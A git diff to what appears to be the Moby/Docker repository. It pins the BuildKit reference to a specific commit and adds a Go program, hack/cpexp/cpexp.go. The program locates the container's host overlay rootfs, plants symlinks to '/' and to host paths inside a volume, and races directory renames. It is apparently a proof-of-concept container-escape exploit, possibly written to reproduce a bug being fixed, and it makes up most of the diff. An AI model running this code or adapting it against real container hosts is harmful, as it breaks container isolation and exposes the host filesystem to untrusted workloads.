diff --git a/hack/buildkit-ref b/hack/buildkit-ref index 8e6577f7b0..1936d009bd 100755 --- a/hack/buildkit-ref +++ b/hack/buildkit-ref @@ -19,6 +19,9 @@ if [[ "${buildkit_ref}" == *-*-* ]]; then buildkit_ref=$(curl -s "https://api.github.com/repos/${buildkit_repo}/commits/${buildkit_ref}" | jq -r .sha) fi +# https://github.com/moby/buildkit/pull/6278 +buildkit_ref="1030099b27bd3455bf7e5d5fe73b6be5dbec3c1f" + cat << EOF BUILDKIT_REPO=$buildkit_repo BUILDKIT_REF=$buildkit_ref diff --git a/hack/cpexp/cpexp.go b/hack/cpexp/cpexp.go new file mode 100644 index 0000000000..c58d062871 --- /dev/null +++ b/hack/cpexp/cpexp.go @@ -0,0 +1,127 @@ +package main + +import ( + "log" + "os" + "path/filepath" + "strings" + + "github.com/moby/buildkit/identity" + "github.com/moby/sys/mountinfo" + "github.com/pkg/errors" +) + +const volumePath = "/abc/a" + +var rootfs string + +func main() { + if err := run(); err != nil { + log.Printf("error: %+v", err) + } +} + +func run() error { + infos, err := mountinfo.GetMounts(nil) + if err != nil { + return err + } + hasVolume := false + for _, info := range infos { + if info.Mountpoint == "/" { + v, err := getOverlayRootfs(info) + if err != nil { + return err + } + rootfs = v + } + + if info.Mountpoint == volumePath { + hasVolume = true + } + log.Printf("mount: %+v", info) + } + if !hasVolume { + return errors.Errorf("volume not found: %s", volumePath) + } + + log.Printf("rootfs: %s", rootfs) + + base := filepath.Base(rootfs) + if err := os.Symlink("/", filepath.Join(volumePath, base)); err != nil { + return err + } + + // create duplicate volume path with symlink target + p := "/" + var volumeRoot string + for _, c := range strings.Split(filepath.Dir(volumePath), string(filepath.Separator)) { + if c == "" { + continue + } + if volumeRoot == "" { + volumeRoot = "/" + c + c += "_target" + } + p = filepath.Join(p, c) + if err := os.Mkdir(p, 0755); err != nil { + if os.IsExist(err) { + continue + } + return err + } + log.Printf("created: %s", p) + } + if err := os.Symlink(filepath.Dir(rootfs), filepath.Join(p, filepath.Base(volumePath))); err != nil { + return err + } + + if err := os.Rename(volumeRoot, volumeRoot+"_old"); err != nil { + return err + } + + for { + if _, err := os.Stat(volumeRoot); err != nil { + if os.IsNotExist(err) { + continue + } + return err + } + // log.Printf("detected: %s", volumeRoot) + break + } + + for { + if err := os.Rename(volumeRoot+"_target", volumeRoot); err != nil { + if os.IsExist(err) { + if err := os.Rename(volumeRoot, volumeRoot+"_"+identity.NewID()); err != nil { + return err + } + continue + } + log.Printf("failed to rename: %s", err) + } + break + } + + return nil +} + +func getOverlayRootfs(info *mountinfo.Info) (string, error) { + if info.FSType != "overlay" { + return "", errors.Errorf("not overlay: %s", info.FSType) + } + for _, opt := range strings.Split(info.VFSOptions, ",") { + parts := strings.SplitN(opt, "=", 2) + if parts[0] == "workdir" { + return filepath.Join(filepath.Dir(parts[1]), "merged"), nil + } + } + return "", errors.Errorf("workdir not found: %s", info.VFSOptions) +} + +// /var/lib/docker/overlay2/86fcb18db0e3774cfe3b9ed6fa526d4dffcb45ac3b26cbe99db6c2d08e6dfc0e/merged + +// merged//dir1/dir2/ + +// volume